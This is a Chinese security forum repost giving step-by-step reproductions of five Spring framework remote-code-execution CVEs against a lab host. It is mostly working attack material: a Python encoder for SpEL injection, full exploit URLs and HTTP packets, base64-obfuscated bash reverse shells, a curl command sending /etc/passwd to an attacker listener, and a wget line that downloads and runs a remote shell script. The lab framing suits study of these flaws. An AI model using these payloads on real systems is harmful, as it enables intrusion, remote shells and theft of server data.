安全矩阵

 找回密码
 立即注册
搜索
查看: 2717|回复: 0

框架安全之Spring渗透(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-19 09:26:25 | 显示全部楼层 |阅读模式
原文链接:框架安全之Spring渗透(下)

三、漏洞复现
以复现操作为主,底层原理解析见后续的文章
1、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)0x01 漏洞概述
Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。当用户使用Whitelabel views来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL表达式来远程执行命令。故是在需要知道账号密码的前提下才可以利用该漏洞。
影响版本:
Spring Security OAuth 2.0 – 2.0.9Spring Security OAuth 1.0 – 1.0.5
0x02 漏洞指纹
访问下面的URL
http://192.168.112.141:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

出现下面的返回页面,表示漏洞存在

0x03 漏洞利用
1)访问搭建好的靶机

2)写好POC
这部分用于处理代码

#!/usr/bin/env pythonmessage = input('Enter message to encode:')poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]:poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)poc += ')}'print(poc)
使用方法:
python3 poc1.py#输入要执行的代码,会返回处理后的代码这里输入whoami

将该代码加入进response_type参数部分,得到payload
http://192.168.112.141:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test
3)执行payload
返回了进程,表示代码执行了,但这没有回显,是无回显RCE

4)无回显XXE结合nc得到回显内容
测试下:
Kali Linux:nc -vlp 7766靶机上:curl 192.168.112.149:7766 -d "$(cat /etc/passwd)"

5)payload二次变形
网址:http://www.jackson-t.ca/runtime-exec-payloads.html
将下面的代码绕过exec()变形
bash -i >& /dev/tcp/192.168.112.149/7766 0>&1
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzc2NiAwPiYx}|{base64,-d}|{bash,-i}
再放入上面的POC中,得到

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
修改后的URL
http://192.168.112.141:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
开启监听,访问上述网址,成功得到shell

2、Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)0x01 漏洞概述
Spring Web Flow是一个适用于开发基于流程的应用程序的框架,主要用于解决跨越多个请求的、用户与服务器之间的、有状态交互问题。
当用户使用Spring Web Flow受影响的版本时,如果配置了view-state,但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值,当攻击者构造特殊的http请求时,就可以导致SpEL表达式注入,从而造成远程代码执行漏洞。
影响版本:
Spring Web Flow 2.4.0 ~ 2.4.4
触发条件:
1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
2. flow view对象中设置BinderConfiguration对象为空
0x02 漏洞指纹
0x03 漏洞利用
1)进入到付款界面,抓包

2)修改包数据,发送
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.112.149/7575 0>%261")).start()=vulhub

0x04 漏洞分析
https://paper.seebug.org/322
3、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)0x01 漏洞概述
Spring Data Rest服务器在处理PATCH请求时存在一个远程代码执行漏洞。攻击者通过构造好的JSON数据来执行任意Java代码。
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3Spring Boot version < 2.0.0M4Spring Data release trains < Kay-RC3
0x02 漏洞指纹
访问,有如下回显信息则代表有该漏洞
http://192.168.112.141:8080/customers/1

0x03 漏洞利用
http://192.168.112.141:8080/customers/1进行抓包,修改数据,执行的代码被编码为十进制位于new java.lang.String(new byte[]{xxxxxx})中
十进制编码脚本:
python3
>>> ",".join(map(str, (map(ord,"xxxxxx"))))反弹shell命令:
  1. bash -i >& /dev/tcp/192.168.112.149/7733 0>&1
  2. 绕过exec()编码
  3. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}
复制代码

转为十进制,编码后得到:
  1. >>> ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}"))))

  2. 98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
复制代码

最后构成数据包:
  1. PATCH /customers/1 HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/json-patch+json
  9. Content-Length: 202

  10. [
  11.     { "op": "replace",
  12.       "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
  13.       "value": "vulhub"
  14.     }
  15. ]
复制代码

注意点:JSON数据部分上面留一行空格
0x04 漏洞分析
https://blog.spoock.com/2018/05/22/cve-2017-8046/
4、Spring Messaging 远程命令执行漏洞(CVE-2018-1270)0x01 漏洞概述
Spring Messaging为Spring框架提供消息支持
用户使用受影响版本的Spring Framework时,允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),进而导致远程执行代码攻击。
影响版本:
Spring Framework 5.0 - 5.0.5Spring Framework 4.3 - 4.3.15
0x02 漏洞指纹
0x03 漏洞利用
1)访问该网址[http://192.168.112.141:8080/gs-guide-websocket](http://192.168.112.141:8080/gs-guide-websocket)

2)修改payload,反弹shell
  1. bash -i >& /dev/tcp/192.168.112.149/7733 0>&1

  2. java.lang.Runtime.exec()编码后:
  3. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNDkvNzczMyAwPiYx}|{base64,-d}|{bash,-i}
复制代码



执行命令
python3 exploit.py

0x04 漏洞原理
https://paper.seebug.org/562/
5、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)0x01 漏洞概述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)Spring Data Commons 2.0 to 2.0.5 (Kay SR5)Spring Data REST 3.0 - 3.0.5 (Kay SR5)
0x02 漏洞指纹
0x03 漏洞利用
1)访问http://192.168.112.141:8080/users,抓包

2)修改包数据,尝试获取权限
  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: localhost:8080
  3. Connection: keep-alive
  4. Content-Length: 124
  5. Pragma: no-cache
  6. Cache-Control: no-cache
  7. Origin: http://localhost:8080
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  12. Referer: http://localhost:8080/users?page=0&size=5
  13. Accept-Encoding: gzip, deflate, br
  14. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

  15. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash -i >& /dev/tcp/192.168.112.149/8800 0>&1")]=&password=&repeatedPassword=
复制代码


但是这里一直显示200【未解决】
采用另一种getshell方法
思路:在公网服务器上写好反弹shell命令,传过去,本地执行即可
shell.sh文件:
bash -i >& /dev/tcp/192.168.112.149/8802 0>&1
3)靶机接收该文件 将对应代码放到前面的数据包中,如下图
/usr/bin/wget -qO /tmp/1 http://192.168.112.149/shell.sh
-q:不显示指令执行过程
-O:下载并以指定的名字保存

4)靶机执行该文件
  1. [](https://imgtu.com/i/gORBPU)
  2. [](https://imgtu.com/i/gORr24)
  3. [](https://imgtu.com/i/gORDGF)
  4. [![gORw5T.png](https://image.3001.net/images/20210525/1621946086_60aceee6c5a0287bdbfd8.png!small)](https://imgtu.com/i/gORw5T)
复制代码

将对应代码放到前面的数据包中,如下图,成功getshell /bin/bash /tmp/1

0x04 漏洞原理
http://blog.nsfocus.net/cve-2018-1273-analysis/



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 07:53 , Processed in 0.013949 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表